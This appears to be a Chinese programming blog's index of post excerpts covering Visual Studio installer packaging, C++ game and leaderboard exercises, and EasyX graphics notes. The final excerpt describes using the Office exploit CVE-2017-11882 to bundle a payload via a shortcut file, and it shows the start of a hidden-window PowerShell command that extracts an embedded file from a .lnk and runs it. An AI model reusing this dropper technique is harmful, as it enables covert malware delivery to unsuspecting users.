C++项目打包发布
安装MVSIP扩展进入VS->点击扩展->管理扩展
联机搜索Microsoft Visual Studio Installer Project,下载安装
PS:如果遇到下面情况
打开任务管理器->输入ID->结束任务
添加Setup Project右键解决方案->添加->新建项目->搜索setup project
项目打包新建一个文件夹,随意命名,用于存储项目文件(否则安装的位置文件到处都是)
将源代码文件都加载进来
PS:如果有其余资源文件,需要按照目录结构进行创建和加载
比如说,现在与源代码同文件夹下还有这些文件夹
那么就在新建的文件夹(我这里是界面设计)下新建这些文件夹并把内容加载进来
右键新建的文件夹->Add->项目输出->直接点击确定
生成主输出后新建快捷方式
剪切该快捷方式移动到User’s Desktop
为快捷方式选择图标
PS:这里只能从已经加载的文件中选择,并且必须为.ico文件
**
重新生成Setup Project
打开打包文件夹
**Setup Project会根据项目属性选 ...
飞机大战-C++
界面设计游戏界面和按钮设计
项目文件下载
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519 ...
文件流操作实现排行榜前十位
描述通过文件流实现录入用户信息和显示排行榜前十数据
练手题,写的有些乱
代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151#include <iostream>#include <fstream>#include <iomanip>using namespace std;struct information{ ...
Easyx常用操作
图形与文字绘制注意
很多函数有大小写两个版本,EasyX选全小写版本,WinSDK选大写版本
easyx.h自带windows.h
下图是EasyX安装路径
函数
示例12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394#include <iostream>#include <graphics.h>using namespace std;struct round_rec{ int left; int top; int right; int bottom; int ew; int eh;};struct circle{ int x; int y; int r;};int main(){ /* 窗口设置 */ ...
利用CVE-2017-11882尝试本地捆绑
前言本文希望借鉴lnk捆绑执行exe的方式,利用已有poc代码605字节/17k字节版本Poc实现本地捆绑,还有很多不足的地方需要修改,只是一次尝试
本地捆绑快捷方式捆绑文件配合已有的poc代码,利用powershell命令释放捆绑文件并执行
注:
PowerShell Get-Content用于在指定位置获取项目的内容。 gc,cat和type是该cmdlet的别名
在cmd输入cmd.exe提示无法运行该程序,可以看看当前执行路径是不是有cmd.exe,删掉即可
理想代码注:^是转义符,有的地方报错可以直接删掉
1cmd /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq [TOTAL_LNK_FILE_SIZE]} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count ...